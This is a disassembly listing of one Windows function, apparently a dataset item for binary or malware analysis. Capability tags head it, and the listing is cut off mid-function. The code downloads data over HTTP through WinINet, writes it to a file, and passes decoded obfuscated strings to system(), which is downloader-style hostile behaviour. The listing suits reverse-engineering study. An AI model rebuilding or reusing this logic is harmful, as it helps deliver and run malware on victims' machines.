Function at 0x405cb0
Capabilities:
Connect to http server
Create http request
Download and write a file
Execute command
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Send data
Send http request
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411cbd
mov eax, dword fs:[0]
push eax
sub esp, 0x3b0
mov eax, dword [0x41a008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2d8], 0xf
mov byte [ebp - 0x2ec], 0
mov dword [ebp - 0x2c4], 0
mov dword [ebp - 0x2c0], 0xf
mov byte [ebp - 0x2d4], 0
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x2f0], 0xf
mov byte [ebp - 0x304], 0
lea eax, [ebp - 0x304]
mov byte [ebp - 4], 4
push eax
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
lea esi, [ebp - 0x2d4]
lea edi, [ebp - 0x2ec]
push eax
call fcn.0040bd90
mov edx, esi
mov ecx, edi
call fcn.00405690
add esp, 0x1c
mov dword [ebp - 0x2bc], 0x200
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x28c], 0x59a90614
mov edi, dword [eax]
mov eax, dword [edi + 0x6f4]
test al, 1
jne 0x405dfc
or eax, 1
mov dword [edi + 0x6f4], eax
mov byte [ebp - 4], 5
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x47c], 1
nop
mov al, byte [ebp + ecx - 0x28c]
mov byte [ecx + edi + 0x478], al
add ecx, 1
adc edx, 0
jne 0x405deb
cmp ecx, 4
jb 0x405dd0
push 0x4140b0
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea esi, [edi + 0x478]
mov ecx, esi
call fcn.0040d8f0
push esi
lea eax, [ebp - 0x18]
push 5
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
lea eax, [ebp - 0x218]
push 0
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, eax
mov dword [ebp - 0x280], ecx
test ecx, ecx
jne 0x406010
mov eax, dword [edi + 0x52c]
mov dword [ebp - 0x28c], 0x755c3db6
test al, 1
jne 0x405eac
or eax, 1
mov dword [edi + 0x52c], eax
mov byte [ebp - 4], 6
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x1f0], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x28c]
mov byte [ecx + edi + 0x1ec], al
add ecx, 1
adc edx, 0
jne 0x405e9b
cmp ecx, 4
jb 0x405e80
push 0x414070
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea esi, [edi + 0x1ec]
mov ecx, esi
call fcn.0040d890
mov ebx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push esi
call ebx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push 0x40e560
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x294]
mov dword [ebp - 0x2a0], 0x4e9379ae
mov dword [ebp - 0x29c], 0x53eebf83
mov dword [ebp - 0x298], 0x449552c7
mov word [ebp - 0x294], 0xd183
test al, 1
jne 0x405f5e
or eax, 1
mov dword [edi + 0x294], eax
mov byte [ebp - 4], 7
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x69e], 1
mov al, byte [ebp + ecx - 0x2a0]
mov byte [ecx + edi + 0x690], al
add ecx, 1
adc edx, 0
jne 0x405f4d
cmp ecx, 0xe
jb 0x405f32
push 0x414030
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x690]
call fcn.0040d830
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x690]
push 0x40e560
call fcn.0040e110
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x348]
mov dword [ebp - 0x284], 0xf25c184b
mov word [ebp - 0x280], 0xdfb0
test al, 1
jne 0x405ff8
or eax, 1
mov dword [edi + 0x348], eax
mov byte [ebp - 4], 8
xorps xmm0, xmm0
movlpd qword [ebp - 0x29c], xmm0
mov edx, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x29c]
mov byte [edi + 0x55e], 1
nop
mov al, byte [ebp + ecx - 0x284]
mov byte [ecx + edi + 0x558], al
add ecx, 1
adc edx, 0
jne 0x405feb
cmp ecx, 6
jb 0x405fd0
push 0x413ff0
call fcn.00410439
add esp, 4
lea esi, [edi + 0x558]
mov ecx, esi
call fcn.0040d7d0
push esi
call ebx
add esp, 4
jmp 0x406907
cmp dword [ebp - 0x2d8], 0x10
lea eax, [ebp - 0x2ec]
push 0
cmovae eax, dword [ebp - 0x2ec]
push 0
push 3
push 0
push 0
push 0x50
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
mov dword [ebp - 0x28c], ebx
test ebx, ebx
jne 0x406220
mov eax, dword [edi + 0x1e8]
mov dword [ebp - 0x28c], 0xd4c3bf6
test al, 1
jne 0x4060bc
or eax, 1
mov dword [edi + 0x1e8], eax
mov byte [ebp - 4], 9
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x154], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x28c]
mov byte [ecx + edi + 0x150], al
add ecx, 1
adc edx, 0
jne 0x4060ab
cmp ecx, 4
jb 0x406090
push 0x413fb0
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea esi, [edi + 0x150]
mov ecx, esi
call fcn.0040d770
mov ebx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push esi
call ebx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push 0x40e560
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x170]
mov dword [ebp - 0x2a0], 0x64dff4f0
mov dword [ebp - 0x29c], 0x8974adc4
mov word [ebp - 0x298], 0xe9d4
mov byte [ebp - 0x296], 0xb1
test al, 1
jne 0x40616c
or eax, 1
mov dword [edi + 0x170], eax
mov byte [ebp - 4], 0xa
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x54f], 1
nop
mov al, byte [ebp + ecx - 0x2a0]
mov byte [edi + ecx + 0x544], al
add ecx, 1
adc edx, 0
jne 0x40615b
cmp ecx, 0xb
jb 0x406140
push 0x413f70
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x544]
call fcn.0040d710
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x544]
push 0x40e560
call fcn.0040e110
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x490]
mov dword [ebp - 0x284], 0x64aa1cdf
mov word [ebp - 0x280], 0xe148
test al, 1
jne 0x406208
or eax, 1
mov dword [edi + 0x490], eax
mov byte [ebp - 4], 0xb
xorps xmm0, xmm0
movlpd qword [ebp - 0x29c], xmm0
mov edx, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x29c]
mov byte [edi + 0x27a], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x284]
mov byte [edi + ecx + 0x274], al
add ecx, 1
adc edx, 0
jne 0x4061fb
cmp ecx, 6
jb 0x4061e0
push 0x413f30
call fcn.00410439
add esp, 4
lea esi, [edi + 0x274]
mov ecx, esi
call fcn.0040d6b0
push esi
call ebx
add esp, 4
jmp 0x406907
mov eax, dword [edi + 0x1bc]
mov dword [ebp - 0x2ac], 0xcf5fefb9
mov dword [ebp - 0x2a8], 0x8cf5fae6
mov byte [ebp - 0x2a4], 0xf1
test al, 1
jne 0x40629c
or eax, 1
mov dword [edi + 0x1bc], eax
mov byte [ebp - 4], 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x29c], xmm0
mov edx, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x29c]
mov byte [edi + 0x815], 1
mov al, byte [ebp + ecx - 0x2ac]
mov byte [edi + ecx + 0x80c], al
add ecx, 1
adc edx, 0
jne 0x40628b
cmp ecx, 9
jb 0x406270
push 0x413ef0
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea esi, [edi + 0x80c]
mov ecx, esi
call fcn.0040d650
cmp dword [ebp - 0x2c0], 0x10
lea eax, [ebp - 0x2d4]
push 0
cmovae eax, dword [ebp - 0x2d4]
push 0x8404f700
push 0
push 0
push esi
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
jne 0x4064b0
mov eax, dword [edi + 0x76c]
mov dword [ebp - 0x28c], 0x175a0910
test al, 1
jne 0x40634c
or eax, 1
mov dword [edi + 0x76c], eax
mov byte [ebp - 4], 0xd
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x780], 1
nop
mov al, byte [ebp + ecx - 0x28c]
mov byte [edi + ecx + 0x77c], al
add ecx, 1
adc edx, 0
jne 0x40633b
cmp ecx, 4
jb 0x406320
push 0x413eb0
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea esi, [edi + 0x77c]
mov ecx, esi
call fcn.0040d5f0
mov ebx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push esi
call ebx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push 0x40e560
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x298]
mov dword [ebp - 0x2a0], 0xae5e121f
mov dword [ebp - 0x29c], 0x25796cf4
mov dword [ebp - 0x298], 0xa9400508
mov byte [ebp - 0x294], 0x91
test al, 1
jne 0x4063fc
or eax, 1
mov dword [edi + 0x298], eax
mov byte [ebp - 4], 0xe
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x615], 1
mov al, byte [ebp + ecx - 0x2a0]
mov byte [edi + ecx + 0x608], al
add ecx, 1
adc edx, 0
jne 0x4063eb
cmp ecx, 0xd
jb 0x4063d0
push 0x413e70
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x608]
call fcn.0040d590
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x608]
push 0x40e560
call fcn.0040e110
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x1e0]
mov dword [ebp - 0x284], 0xa60cccad
mov word [ebp - 0x280], 0x99b6
test al, 1
jne 0x406498
or eax, 1
mov dword [edi + 0x1e0], eax
mov byte [ebp - 4], 0xf
xorps xmm0, xmm0
movlpd qword [ebp - 0x29c], xmm0
mov edx, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x29c]
mov byte [edi + 0x4de], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x284]
mov byte [edi + ecx + 0x4d8], al
add ecx, 1
adc edx, 0
jne 0x40648b
cmp ecx, 6
jb 0x406470
push 0x413e30
call fcn.00410439
add esp, 4
lea esi, [edi + 0x4d8]
mov ecx, esi
call fcn.0040d530
push esi
call ebx
add esp, 4
jmp 0x406907
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0x4153fc
cmovae eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 0x2a4], eax
test eax, eax
jne 0x4066d0
mov eax, dword [edi + 0x7f4]
mov dword [ebp - 0x28c], 0x97be1700
test al, 1
jne 0x40655c
or eax, 1
mov dword [edi + 0x7f4], eax
mov byte [ebp - 4], 0x10
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x1a4], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x28c]
mov byte [ecx + edi + 0x1a0], al
add ecx, 1
adc edx, 0
jne 0x40654b
cmp ecx, 4
jb 0x406530
push 0x413df0
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea esi, [edi + 0x1a0]
mov ecx, esi
call fcn.0040d4d0
mov ebx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push esi
call ebx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push 0x40e560
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x588]
mov dword [ebp - 0x2b0], 0x9b667fd4
mov dword [ebp - 0x2ac], 0xaffa7903
mov dword [ebp - 0x2a8], 0x87462fde
mov word [ebp - 0x2a4], 0x4d4c
mov byte [ebp - 0x2a2], 0x93
test al, 1
jne 0x40661c
or eax, 1
mov dword [edi + 0x588], eax
mov byte [ebp - 4], 0x11
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x51f], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x2b0]
mov byte [ecx + edi + 0x510], al
add ecx, 1
adc edx, 0
jne 0x40660b
cmp ecx, 0xf
jb 0x4065f0
push 0x413db0
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x510]
call fcn.0040d470
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x510]
push 0x40e560
call fcn.0040e110
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x648]
mov dword [ebp - 0x284], 0xd49c0c27
mov word [ebp - 0x280], 0x2d1e
test al, 1
jne 0x4066b8
or eax, 1
mov dword [edi + 0x648], eax
mov byte [ebp - 4], 0x12
xorps xmm0, xmm0
movlpd qword [ebp - 0x2a8], xmm0
mov edx, dword [ebp - 0x2a4]
mov ecx, dword [ebp - 0x2a8]
mov byte [edi + 0x356], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x284]
mov byte [ecx + edi + 0x350], al
add ecx, 1
adc edx, 0
jne 0x4066ab
cmp ecx, 6
jb 0x406690
push 0x413d70
call fcn.00410439
add esp, 4
lea esi, [edi + 0x350]
mov ecx, esi
call fcn.0040d410
push esi
call ebx
add esp, 4
jmp 0x406907
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x298]
push eax
push 0x32
lea eax, [ebp - 0x27c]
push eax
push esi
call ebx
test eax, eax
je 0x40672e
nop dword [eax]
mov eax, dword [ebp - 0x298]
test eax, eax
je 0x406a67
push dword [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x27c]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
lea eax, [ebp - 0x298]
push eax
push 0x32
lea eax, [ebp - 0x27c]
push eax
push esi
call ebx
test eax, eax
jne 0x4066f0
mov eax, dword [edi + 0x3b4]
mov dword [ebp - 0x28c], 0xaf76475e
test al, 1
jne 0x40679c
or eax, 1
mov dword [edi + 0x3b4], eax
mov byte [ebp - 4], 0x13
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x620], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x28c]
mov byte [ecx + edi + 0x61c], al
add ecx, 1
adc edx, 0
jne 0x40678b
cmp ecx, 4
jb 0x406770
push 0x413d30
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea esi, [edi + 0x61c]
mov ecx, esi
call fcn.0040d3b0
mov ebx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push esi
call ebx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push 0x40e560
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x4e0]
mov dword [ebp - 0x290], 0x8fea9c13
mov dword [ebp - 0x28c], 0x80e7a0df
mov word [ebp - 0x288], 0xf913
test al, 1
jne 0x40684c
or eax, 1
mov dword [edi + 0x4e0], eax
mov byte [ebp - 4], 0x14
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x6ea], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x290]
mov byte [ecx + edi + 0x6e0], al
add ecx, 1
adc edx, 0
jne 0x40683b
cmp ecx, 0xa
jb 0x406820
push 0x413cf0
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x6e0]
call fcn.0040d350
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x6e0]
push 0x40e560
call fcn.0040e110
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x748]
mov dword [ebp - 0x284], 0xbe26b80d
mov word [ebp - 0x280], 0x8914
test al, 1
jne 0x4068e8
or eax, 1
mov dword [edi + 0x748], eax
mov byte [ebp - 4], 0x15
xorps xmm0, xmm0
movlpd qword [ebp - 0x290], xmm0
mov edx, dword [ebp - 0x28c]
mov ecx, dword [ebp - 0x290]
mov byte [edi + 0x7da], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x284]
mov byte [ecx + edi + 0x7d4], al
add ecx, 1
adc edx, 0
jne 0x4068db
cmp ecx, 6
jb 0x4068c0
push 0x413cb0
call fcn.00410439
add esp, 4
lea esi, [edi + 0x7d4]
mov ecx, esi
call fcn.0040d2f0
push esi
call ebx
push dword [ebp - 0x2a4]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
xor bl, bl
mov edx, dword [ebp - 0x2f0]
cmp edx, 0x10
jb 0x406943
mov ecx, dword [ebp - 0x304]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406939
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406a61
push edx
push ecx
call fcn.00410382
add esp, 8
mov edx, dword [ebp - 0x2c0]
cmp edx, 0x10
jb 0x40697d
mov ecx, dword [ebp - 0x2d4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406973
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406a61
push edx
push ecx
call fcn.00410382
add esp, 8
mov edx, dword [ebp - 0x2d8]
mov dword [ebp - 0x2c4], 0
mov dword [ebp - 0x2c0], 0xf
mov byte [ebp - 0x2d4], 0
cmp edx, 0x10
jb 0x4069d2
mov ecx, dword [ebp - 0x2ec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4069c8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406a61
push edx
push ecx
call fcn.00410382
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2d8], 0xf
mov byte [ebp - 0x2ec], 0
cmp edx, 0x10
jb 0x406a1d
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406a13
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406a61
push edx
push ecx
call fcn.00410382
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x4070aa
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4070a0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4070a0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov ebx, dword [ebp - 0x2a4]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
push ebx
mov ebx, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
call ebx
add esp, 8
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x28c]
call esi
push dword [ebp - 0x280]
call esi
push 0xb8
lea eax, [ebp - 0x3bc]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
lea ecx, [ebp - 0x3bc]
cmovae eax, dword [ebp + 0x20]
add esp, 4
push 1
push eax
call fcn.0040b460
mov eax, dword [ebp - 0x3bc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3bc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x3c0], eax
lea ecx, [ebp - 0x3bc]
mov eax, dword [ebp - 0x3bc]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x3b0], 6
mov dword [ecx + eax], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3bc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x3c0], eax
je 0x406d90
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x360], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x406b6d
mov eax, dword [ebp - 0x3a0]
lea ecx, [ebp - 0x370]
cmp dword [eax], ecx
jne 0x406b6d
mov edx, dword [ebp - 0x358]
mov ecx, dword [ebp - 0x35c]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x390]
mov dword [eax], ecx
mov eax, dword [ebp - 0x380]
mov dword [eax], edx
cmp byte [ebp - 0x364], 0
je 0x406b81
lea ecx, [ebp - 0x3ac]
call fcn.0040dcc0
lea ecx, [ebp - 0x3ac]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x3a4]
mov byte [ebp - 4], 4
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x34c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [edi + 0x5ac]
mov dword [ebp - 0x28c], 0x33a287b8
test al, 1
jne 0x406c1c
or eax, 1
mov dword [edi + 0x5ac], eax
mov byte [ebp - 4], 0x1c
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x1c4], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x28c]
mov byte [ecx + edi + 0x1c0], al
add ecx, 1
adc edx, 0
jne 0x406c0b
cmp ecx, 4
jb 0x406bf0
push 0x413bb0
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea esi, [edi + 0x1c0]
mov ecx, esi
call fcn.0040d170
mov ebx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push esi
call ebx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push 0x40e560
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x2a0]
mov dword [ebp - 0x2b0], 0x5ac77ee7
mov dword [ebp - 0x2ac], 0x2524f3dd
mov dword [ebp - 0x2a8], 0x56d35281
mov word [ebp - 0x2a4], 0xc98e
mov byte [ebp - 0x2a2], 0x4b
test al, 1
jne 0x406cdc
or eax, 1
mov dword [edi + 0x2a0], eax
mov byte [ebp - 4], 0x1d
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x48f], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x2b0]
mov byte [ecx + edi + 0x480], al
add ecx, 1
adc edx, 0
jne 0x406ccb
cmp ecx, 0xf
jb 0x406cb0
push 0x413b70
call fcn.00410439
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x480]
call fcn.0040d110
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x480]
push 0x40e560
call fcn.0040e110
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x7b0]
mov dword [ebp - 0x284], 0x84aa26c3
mov word [ebp - 0x280], 0xf5a8
test al, 1
jne 0x406d78
or eax, 1
mov dword [edi + 0x7b0], eax
mov byte [ebp - 4], 0x1e
xorps xmm0, xmm0
movlpd qword [ebp - 0x2a8], xmm0
mov edx, dword [ebp - 0x2a4]
mov ecx, dword [ebp - 0x2a8]
mov byte [edi + 0x4f6], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x284]
mov byte [ecx + edi + 0x4f0], al
add ecx, 1
adc edx, 0
jne 0x406d6b
cmp ecx, 6
jb 0x406d50
push 0x413b30
call fcn.00410439
add esp, 4
lea esi, [edi + 0x4f0]
